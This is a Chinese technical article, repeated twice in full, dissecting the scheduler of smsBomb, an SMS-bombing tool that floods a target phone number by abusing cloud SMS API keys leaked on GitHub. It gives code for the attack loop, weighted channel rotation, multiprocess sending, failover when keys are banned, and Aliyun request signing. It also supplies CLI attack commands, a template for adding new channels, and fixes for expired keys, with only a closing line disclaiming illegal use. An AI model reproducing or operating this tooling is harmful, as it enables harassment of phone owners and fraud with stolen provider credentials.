smsBomb调度核心完整拆解从加权随机负载均衡到故障自愈的短信轰炸全链路原理与避坑指南【免费下载链接】smsBomb短信炸项目地址: https://gitcode.com/gh_mirrors/sms/smsBomb短信轰炸机 smsBomb 是一个基于 Python 的开源项目通过复用 GitHub 上泄露的云短信服务商密钥将十余家短信渠道拧成一股绳实现批量轰炸。但真正让它区别于简单脚本的是藏在smsBomb/smsBomb.py里的一套调度引擎加权随机选择、多进程并发、失败率熔断、故障节点降权以及可插拔的进度回调。本文将从一次点击 Attack 后系统内部发生了什么这个真实问题切入顺着触发→执行→反馈的完整链路逐段拆解这套调度系统的设计与实现。一、为什么调度引擎是 smsBomb 的心脏单渠道脚本撑不起的三大难题任何短信轰炸工具都面临三个绕不开的现实约束渠道不稳定任何一家短信服务商随时可能封禁密钥、限流或拒绝请求。依赖单一渠道失败率极高且不可控。请求异构阿里云要 HMAC-SHA1 签名、网易要 SHA1 校验头、腾讯云要模板参数十余家渠道的请求格式完全不同无法用同一个发送函数覆盖。并发与安全串行请求太慢暴力线程又不安全还要在轰炸过程中实时掌握进度、及时止损。smsBomb 的答案是把发送抽象成插件把怎么选、怎么发、怎么算账、怎么自愈全部收拢进SmsBomb调度器。插件只负责如何把一个手机号发给一家服务商而调度器负责该让谁发、发多少、失败了怎么办、进度怎么报告。这套解耦让新增一家短信渠道只需要往plugins/目录丢一个文件也让轰炸过程具备工程化的可控性。二、核心机制拆解一条短信从点击到落地的完整运行链路从用户在 CLI 输入命令到最终收到短信整条链路可以划分为四个阶段。我们顺着代码逐段看。阶段 1 触发CLI 参数如何变成调度任务入口在cli.py的main()核心动作是把命令行参数翻译成SmsBomb对象的构造参数sms_bomb smsBomb.SmsBomb( sms_plugins, # 插件字典key 是 smsBomb.plugins.aliyun 这类全名 config, # 从 config/sms.json 加载的配置列表数组 args.target, # 目标手机号 process_numargs.process_num, # 并发进程数默认 5 msgargs.message, # 自定义短信内容仅 enable_custom_msg 渠道生效 limitargs.times, # 期望成功次数默认 10 prefixplugin_prefix, # 插件名前缀用于从字典里反查插件 proxiesproxies # 代理配置 ) sms_bomb.start()注意limit的语义它表示成功发送多少次而不是总共尝试多少次。这个设计直接决定了后面循环退出条件的写法。阶段 2 执行加权随机选择 多进程并发发送start()是整个调度引擎的主体它的循环逻辑如下while success_cnt self.limit and failed_rate self.max_allowed_failed_rate: cfg self._random_weight_select() ... index, current_config cfg key self.prefix current_config[product] cls current_config.get(product).title() Plugin obj self.plugins.get(key) if not obj or not hasattr(obj, cls): self.logger.warning(无此插件:%s,跳过 % cls) continue cls getattr(obj, cls)(proxiesself.proxies, **current_config) payloads current_config.get(payloads, {}) if self.custom_msg: payloads[__custom_msg] self.custom_msg success pool.apply(worker, args(cls, send, self.target), kwdspayloads)三个关键设计点动态命名类aliyun.title() Plugin得到AliyunPlugin再通过getattr从插件模块里取出类。这意味着新增渠道只需定义好XxxPlugin类并实现send方法调度器零改动即可识别。多进程而非多线程通过multiprocessing.Pool的apply把发送任务丢进子进程worker函数统一解包参数并反射调用规避了 GIL也避免了请求库在 GUI 线程里阻塞界面。加权随机_random_weight_select()把每个配置按weight值复制进候选列表再random.choice。权重 10 的网易渠道被选中的概率是权重 1 渠道的 10 倍这是对好渠道多干活的朴素实现。阶段 3 反馈成功/失败如何改变全局状态每次发送的结果会立刻回写调度状态这是整个系统自愈能力的来源if success: success_cnt 1 else: self.logger.warning(节点%s请求失败,尝试降低此配置的优先级, current_config) self.config_lst[index][weight] max(current_config.get(weight, 1) - 1, 0) current_config[weight] 1 self.failed_config_lst.append(current_config) failed_cnt 1 cb(success_cnt, failed_cnt, self.limit)失败的配置被降权weight至少减 1降到 0 即永久出局同时被记录进failed_config_lst。当所有配置权重都归零、候选列表为空时调度器会死马当活马医地把失败列表重新注入if not cfg: self.logger.warning(没有可用配置可供使用!尝试重置配置列表:%s, self.failed_config_lst) self.re_config(self.failed_config_lst) failed_cnt 1 continue阶段 4 熔断与收尾失败率 95% 的止损线循环条件里藏着一道安全阀failed_rate self.max_allowed_failed_rate其中max_allowed_failed_rate 0.95。当失败次数占期望次数的比例超过 95% 时系统判定全部渠道已不可用主动终止循环——避免在一个已经废掉的密钥上无限空转浪费流量。循环结束后还有一个强制收尾逻辑if success_cnt ! self.limit: cb(success_cnt, failed_cnt, self.limit, force_finishedTrue)这是给进度回调的宣告失败信号GUI 正是靠它把进度条从卡住的状态释放出来。阶段 5 插件内的最后一公里以阿里云签名为例调度器只负责把mobile和payloads交给插件真正的请求组装在插件内部完成。阿里云插件的签名过程是理解插件如何工作的最佳样本def send(self, mobile, **kwargs): params self._create_params( mobile, kwargs[sign_name], kwargs[template_code], kwargs.get(template_params)) plain_text POST%2F canonicalize(**params) sign self.checksum(plain_text) # HMAC-SHA1 签名 body Signature{}{}.format(sign, stringify(**params)) self.logger.debug(拼接完成请求体: %s, body) headers {Content-Type: application/x-www-form-urlencoded} resp self._req.post(self.api, headersheaders, databody.encode(utf-8)).json() self.logger.info(resp) return resp[Code] OK # 返回值直接决定调度器判成功/失败注意send的返回值插件必须返回布尔值或可求值的对象因为调度器if success:的判定完全依赖它。返回值语义不一致是整个调度器最常见的自定义插件事故点。三、上手实践关键参数配置方法与 CLI/GUI 对比调度相关参数速查参数位置含义默认值典型取值weightsms.json 每个配置节点加权随机被选中概率1渠道越稳设越高如 10-n/--timesCLI期望成功次数10按目标场景调整--processCLI多进程并发数5不超过 times-v/-vv/-vvvCLI日志详细程度INFO/DEBUG/全部0排查问题用-vvvmax_allowed_failed_ratesmsBomb.py 类常量失败率熔断线0.95谨慎调低process_numGUI 表单并发进程数5同 CLI-p/--productCLI/GUI只使用指定渠道全部如aliyun、neteaseCLI 与 GUI 的调度差异对照维度CLI 版本GUI 版本启动方式python -m smsBomb -t 13800138000 -n 10python -m smsBomb.gui进度展示依赖-v输出 DEBUG 进度日志Kivy 进度条实时百分比进度回调默认progress_info打印日志自定义refresh_progress_bar更新控件并发线程多进程Pool单线程 threading.Thread包住start失败率日志每次迭代打一行 DEBUG仅结束时强制刷新进度条GUI 的接线方式值得注意——它在子线程里调用app.start并把进度回调指向 Kivy 控件更新方法threading.Thread(targetapp.start, kwargs{cb: self.refresh_progress_bar}).start()四、实战效果三个真实场景下的调度表现场景 1单渠道密钥被服务商封禁配置里只有阿里云一条且weight1。第一次请求返回Code ! OK调度器立即把该配置降权为 0 并记入失败列表。下一次循环候选列表为空触发重置逻辑failed_cnt累加。当失败率超过 95% 熔断线时循环终止进度回调收到force_finishedTrue。整个过程在日志里能看到从WARNING 节点请求失败到攻击完毕的完整轨迹不会出现卡死无响应。场景 2多渠道混打权重决定主次配置里网易weight10、云之讯weight3、创蓝weight1并存-n 30。调度器大约以 10:3:1 的比例把请求分配到三家渠道。当网易渠道开始限流它的权重被逐次下调云之讯和创蓝自动补位总吞吐量不会断崖式下跌。这正是加权随机负载均衡相对纯随机的价值。场景 3GUI 大数量轰炸的进度观察在 GUI 输入攻击次数 100、进程数 10点击 Attack。进度条每收到一次回调就刷新一次current_attacked_cnt / attack_cnt。如果中途全部渠道失效force_finishedTrue会把进度条分母改为当前成功数避免显示 100% 而实际只完成 3 次的假象——这是refresh_progress_bar里self.attack_cnt self.current_attacked_cnt这一行的意义。五、常见坑与排查报错信息对症下药1.短信轰炸机配置不可为空load_config返回空列表。原因通常是-p指定的产品名在sms.json里不存在或-c指向了错误路径。用-c config/sms.json且不传-p先验证。2.无此插件:xxx,跳过调度器按产品名.title() Plugin反射类名但插件字典里找不到对应模块。排查确认plugins/目录下有{product}.py且文件内类名与product大小写完全匹配aliyun→AliyunPlugin。3. 进度永远停在 0% 或日志里全是 ERROR在 CLI 加-vvv看 DEBUG 级别日志重点关注拼接完成请求体和 API 响应体。若响应体出现签名错误、模板编号不存在说明sms.json里的auth或payloads已失效——README 已注明默认配置除阿里云外基本过期需自行检索更新。4. 进程数大于次数导致启动异常CLI 里有一行args.process_num min(args.process_num, args.times)做兜底但 GUI 没有这个保护。在 GUI 中把 Attack Times 设为 2 却把 Process Num 设为 5可能出现子进程空转。习惯上让process_num times。5. macOS 上 requests 卡死SmsPlugin.__init__里对 Darwin 平台强制self._req.trust_env False这是为规避 Kivy 线程中 requests 检查代理设置的死锁。如果在其他平台遇到类似卡顿可以手动在插件里补上同样配置。六、进阶玩法自定义插件与自定义进度回调玩法 1三分钟接入一家新短信渠道在plugins/下新建foo.py继承SmsPlugin并实现sendfrom smsBomb import SmsPlugin class FooPlugin(SmsPlugin): 新渠道示例 API_URLS {send: https://foo.example.com/sms/send} def send(self, mobile, **kwargs): # kwargs 里包含 sms.json 该节点的 auth、payloads 等字段 body {mobile: mobile} body.update(self.auth) body.update(kwargs.get(payloads, {})) resp self._req.post(self.api, databody) self.logger.info(resp.text) return ok in resp.text.lower() # 必须返回真值然后在sms.json里加一个product: foo节点即可调度器零改动自动识别。注意返回值的成功语义要跟服务商实际响应对齐这是插件质量的分水岭。玩法 2完全接管进度反馈start(cb...)的回调签名为cb(success_cnt, failed_cnt, limit, force_finishedFalse)。你可以完全替换默认的progress_info把进度推送到自己的系统def push_to_dashboard(success, failed, limit, force_finishedFalse): if force_finished: print(f终止成功 {success}失败 {failed}) else: percent success * 100 / limit print(f进度 {success}/{limit} {percent:.1f}%) sms_bomb.start(cbpush_to_dashboard)由于回调是同步调用的GUI 场景记得像gui.py那样把start放进子线程避免阻塞主线程 UI。七、总结调度引擎教会我们的三件事smsBomb 的调度核心虽然只有两百多行代码却完整演示了三个可迁移的工程思想配置驱动——渠道、权重、API 全部外置在config/sms.json代码零硬编码失败自愈——降权、摘除、重注入的故障管理闭环让系统在不可靠的外部依赖下依然能推进任务回调解耦——CLI 打日志、GUI 刷进度条、外部系统接推送同一套引擎对接不同反馈端。如果你想深入源码重点阅读smsBomb/smsBomb.py调度器与插件基类、smsBomb/plugins/aliyun.py签名算法实现、smsBomb/gui.py回调接线范例以及config/sms.json配置字段的完整实例。项目仅用于学习与研究请勿用于任何非法用途。【免费下载链接】smsBomb短信炸项目地址: https://gitcode.com/gh_mirrors/sms/smsBomb创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考 smsBomb调度核心完整拆解：从加权随机负载均衡到故障自愈的短信轰炸全链路原理与避坑指南
smsBomb调度核心完整拆解从加权随机负载均衡到故障自愈的短信轰炸全链路原理与避坑指南【免费下载链接】smsBomb短信炸项目地址: https://gitcode.com/gh_mirrors/sms/smsBomb短信轰炸机 smsBomb 是一个基于 Python 的开源项目通过复用 GitHub 上泄露的云短信服务商密钥将十余家短信渠道拧成一股绳实现批量轰炸。但真正让它区别于简单脚本的是藏在smsBomb/smsBomb.py里的一套调度引擎加权随机选择、多进程并发、失败率熔断、故障节点降权以及可插拔的进度回调。本文将从一次点击 Attack 后系统内部发生了什么这个真实问题切入顺着触发→执行→反馈的完整链路逐段拆解这套调度系统的设计与实现。一、为什么调度引擎是 smsBomb 的心脏单渠道脚本撑不起的三大难题任何短信轰炸工具都面临三个绕不开的现实约束渠道不稳定任何一家短信服务商随时可能封禁密钥、限流或拒绝请求。依赖单一渠道失败率极高且不可控。请求异构阿里云要 HMAC-SHA1 签名、网易要 SHA1 校验头、腾讯云要模板参数十余家渠道的请求格式完全不同无法用同一个发送函数覆盖。并发与安全串行请求太慢暴力线程又不安全还要在轰炸过程中实时掌握进度、及时止损。smsBomb 的答案是把发送抽象成插件把怎么选、怎么发、怎么算账、怎么自愈全部收拢进SmsBomb调度器。插件只负责如何把一个手机号发给一家服务商而调度器负责该让谁发、发多少、失败了怎么办、进度怎么报告。这套解耦让新增一家短信渠道只需要往plugins/目录丢一个文件也让轰炸过程具备工程化的可控性。二、核心机制拆解一条短信从点击到落地的完整运行链路从用户在 CLI 输入命令到最终收到短信整条链路可以划分为四个阶段。我们顺着代码逐段看。阶段 1 触发CLI 参数如何变成调度任务入口在cli.py的main()核心动作是把命令行参数翻译成SmsBomb对象的构造参数sms_bomb smsBomb.SmsBomb( sms_plugins, # 插件字典key 是 smsBomb.plugins.aliyun 这类全名 config, # 从 config/sms.json 加载的配置列表数组 args.target, # 目标手机号 process_numargs.process_num, # 并发进程数默认 5 msgargs.message, # 自定义短信内容仅 enable_custom_msg 渠道生效 limitargs.times, # 期望成功次数默认 10 prefixplugin_prefix, # 插件名前缀用于从字典里反查插件 proxiesproxies # 代理配置 ) sms_bomb.start()注意limit的语义它表示成功发送多少次而不是总共尝试多少次。这个设计直接决定了后面循环退出条件的写法。阶段 2 执行加权随机选择 多进程并发发送start()是整个调度引擎的主体它的循环逻辑如下while success_cnt self.limit and failed_rate self.max_allowed_failed_rate: cfg self._random_weight_select() ... index, current_config cfg key self.prefix current_config[product] cls current_config.get(product).title() Plugin obj self.plugins.get(key) if not obj or not hasattr(obj, cls): self.logger.warning(无此插件:%s,跳过 % cls) continue cls getattr(obj, cls)(proxiesself.proxies, **current_config) payloads current_config.get(payloads, {}) if self.custom_msg: payloads[__custom_msg] self.custom_msg success pool.apply(worker, args(cls, send, self.target), kwdspayloads)三个关键设计点动态命名类aliyun.title() Plugin得到AliyunPlugin再通过getattr从插件模块里取出类。这意味着新增渠道只需定义好XxxPlugin类并实现send方法调度器零改动即可识别。多进程而非多线程通过multiprocessing.Pool的apply把发送任务丢进子进程worker函数统一解包参数并反射调用规避了 GIL也避免了请求库在 GUI 线程里阻塞界面。加权随机_random_weight_select()把每个配置按weight值复制进候选列表再random.choice。权重 10 的网易渠道被选中的概率是权重 1 渠道的 10 倍这是对好渠道多干活的朴素实现。阶段 3 反馈成功/失败如何改变全局状态每次发送的结果会立刻回写调度状态这是整个系统自愈能力的来源if success: success_cnt 1 else: self.logger.warning(节点%s请求失败,尝试降低此配置的优先级, current_config) self.config_lst[index][weight] max(current_config.get(weight, 1) - 1, 0) current_config[weight] 1 self.failed_config_lst.append(current_config) failed_cnt 1 cb(success_cnt, failed_cnt, self.limit)失败的配置被降权weight至少减 1降到 0 即永久出局同时被记录进failed_config_lst。当所有配置权重都归零、候选列表为空时调度器会死马当活马医地把失败列表重新注入if not cfg: self.logger.warning(没有可用配置可供使用!尝试重置配置列表:%s, self.failed_config_lst) self.re_config(self.failed_config_lst) failed_cnt 1 continue阶段 4 熔断与收尾失败率 95% 的止损线循环条件里藏着一道安全阀failed_rate self.max_allowed_failed_rate其中max_allowed_failed_rate 0.95。当失败次数占期望次数的比例超过 95% 时系统判定全部渠道已不可用主动终止循环——避免在一个已经废掉的密钥上无限空转浪费流量。循环结束后还有一个强制收尾逻辑if success_cnt ! self.limit: cb(success_cnt, failed_cnt, self.limit, force_finishedTrue)这是给进度回调的宣告失败信号GUI 正是靠它把进度条从卡住的状态释放出来。阶段 5 插件内的最后一公里以阿里云签名为例调度器只负责把mobile和payloads交给插件真正的请求组装在插件内部完成。阿里云插件的签名过程是理解插件如何工作的最佳样本def send(self, mobile, **kwargs): params self._create_params( mobile, kwargs[sign_name], kwargs[template_code], kwargs.get(template_params)) plain_text POST%2F canonicalize(**params) sign self.checksum(plain_text) # HMAC-SHA1 签名 body Signature{}{}.format(sign, stringify(**params)) self.logger.debug(拼接完成请求体: %s, body) headers {Content-Type: application/x-www-form-urlencoded} resp self._req.post(self.api, headersheaders, databody.encode(utf-8)).json() self.logger.info(resp) return resp[Code] OK # 返回值直接决定调度器判成功/失败注意send的返回值插件必须返回布尔值或可求值的对象因为调度器if success:的判定完全依赖它。返回值语义不一致是整个调度器最常见的自定义插件事故点。三、上手实践关键参数配置方法与 CLI/GUI 对比调度相关参数速查参数位置含义默认值典型取值weightsms.json 每个配置节点加权随机被选中概率1渠道越稳设越高如 10-n/--timesCLI期望成功次数10按目标场景调整--processCLI多进程并发数5不超过 times-v/-vv/-vvvCLI日志详细程度INFO/DEBUG/全部0排查问题用-vvvmax_allowed_failed_ratesmsBomb.py 类常量失败率熔断线0.95谨慎调低process_numGUI 表单并发进程数5同 CLI-p/--productCLI/GUI只使用指定渠道全部如aliyun、neteaseCLI 与 GUI 的调度差异对照维度CLI 版本GUI 版本启动方式python -m smsBomb -t 13800138000 -n 10python -m smsBomb.gui进度展示依赖-v输出 DEBUG 进度日志Kivy 进度条实时百分比进度回调默认progress_info打印日志自定义refresh_progress_bar更新控件并发线程多进程Pool单线程 threading.Thread包住start失败率日志每次迭代打一行 DEBUG仅结束时强制刷新进度条GUI 的接线方式值得注意——它在子线程里调用app.start并把进度回调指向 Kivy 控件更新方法threading.Thread(targetapp.start, kwargs{cb: self.refresh_progress_bar}).start()四、实战效果三个真实场景下的调度表现场景 1单渠道密钥被服务商封禁配置里只有阿里云一条且weight1。第一次请求返回Code ! OK调度器立即把该配置降权为 0 并记入失败列表。下一次循环候选列表为空触发重置逻辑failed_cnt累加。当失败率超过 95% 熔断线时循环终止进度回调收到force_finishedTrue。整个过程在日志里能看到从WARNING 节点请求失败到攻击完毕的完整轨迹不会出现卡死无响应。场景 2多渠道混打权重决定主次配置里网易weight10、云之讯weight3、创蓝weight1并存-n 30。调度器大约以 10:3:1 的比例把请求分配到三家渠道。当网易渠道开始限流它的权重被逐次下调云之讯和创蓝自动补位总吞吐量不会断崖式下跌。这正是加权随机负载均衡相对纯随机的价值。场景 3GUI 大数量轰炸的进度观察在 GUI 输入攻击次数 100、进程数 10点击 Attack。进度条每收到一次回调就刷新一次current_attacked_cnt / attack_cnt。如果中途全部渠道失效force_finishedTrue会把进度条分母改为当前成功数避免显示 100% 而实际只完成 3 次的假象——这是refresh_progress_bar里self.attack_cnt self.current_attacked_cnt这一行的意义。五、常见坑与排查报错信息对症下药1.短信轰炸机配置不可为空load_config返回空列表。原因通常是-p指定的产品名在sms.json里不存在或-c指向了错误路径。用-c config/sms.json且不传-p先验证。2.无此插件:xxx,跳过调度器按产品名.title() Plugin反射类名但插件字典里找不到对应模块。排查确认plugins/目录下有{product}.py且文件内类名与product大小写完全匹配aliyun→AliyunPlugin。3. 进度永远停在 0% 或日志里全是 ERROR在 CLI 加-vvv看 DEBUG 级别日志重点关注拼接完成请求体和 API 响应体。若响应体出现签名错误、模板编号不存在说明sms.json里的auth或payloads已失效——README 已注明默认配置除阿里云外基本过期需自行检索更新。4. 进程数大于次数导致启动异常CLI 里有一行args.process_num min(args.process_num, args.times)做兜底但 GUI 没有这个保护。在 GUI 中把 Attack Times 设为 2 却把 Process Num 设为 5可能出现子进程空转。习惯上让process_num times。5. macOS 上 requests 卡死SmsPlugin.__init__里对 Darwin 平台强制self._req.trust_env False这是为规避 Kivy 线程中 requests 检查代理设置的死锁。如果在其他平台遇到类似卡顿可以手动在插件里补上同样配置。六、进阶玩法自定义插件与自定义进度回调玩法 1三分钟接入一家新短信渠道在plugins/下新建foo.py继承SmsPlugin并实现sendfrom smsBomb import SmsPlugin class FooPlugin(SmsPlugin): 新渠道示例 API_URLS {send: https://foo.example.com/sms/send} def send(self, mobile, **kwargs): # kwargs 里包含 sms.json 该节点的 auth、payloads 等字段 body {mobile: mobile} body.update(self.auth) body.update(kwargs.get(payloads, {})) resp self._req.post(self.api, databody) self.logger.info(resp.text) return ok in resp.text.lower() # 必须返回真值然后在sms.json里加一个product: foo节点即可调度器零改动自动识别。注意返回值的成功语义要跟服务商实际响应对齐这是插件质量的分水岭。玩法 2完全接管进度反馈start(cb...)的回调签名为cb(success_cnt, failed_cnt, limit, force_finishedFalse)。你可以完全替换默认的progress_info把进度推送到自己的系统def push_to_dashboard(success, failed, limit, force_finishedFalse): if force_finished: print(f终止成功 {success}失败 {failed}) else: percent success * 100 / limit print(f进度 {success}/{limit} {percent:.1f}%) sms_bomb.start(cbpush_to_dashboard)由于回调是同步调用的GUI 场景记得像gui.py那样把start放进子线程避免阻塞主线程 UI。七、总结调度引擎教会我们的三件事smsBomb 的调度核心虽然只有两百多行代码却完整演示了三个可迁移的工程思想配置驱动——渠道、权重、API 全部外置在config/sms.json代码零硬编码失败自愈——降权、摘除、重注入的故障管理闭环让系统在不可靠的外部依赖下依然能推进任务回调解耦——CLI 打日志、GUI 刷进度条、外部系统接推送同一套引擎对接不同反馈端。如果你想深入源码重点阅读smsBomb/smsBomb.py调度器与插件基类、smsBomb/plugins/aliyun.py签名算法实现、smsBomb/gui.py回调接线范例以及config/sms.json配置字段的完整实例。项目仅用于学习与研究请勿用于任何非法用途。【免费下载链接】smsBomb短信炸项目地址: https://gitcode.com/gh_mirrors/sms/smsBomb创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考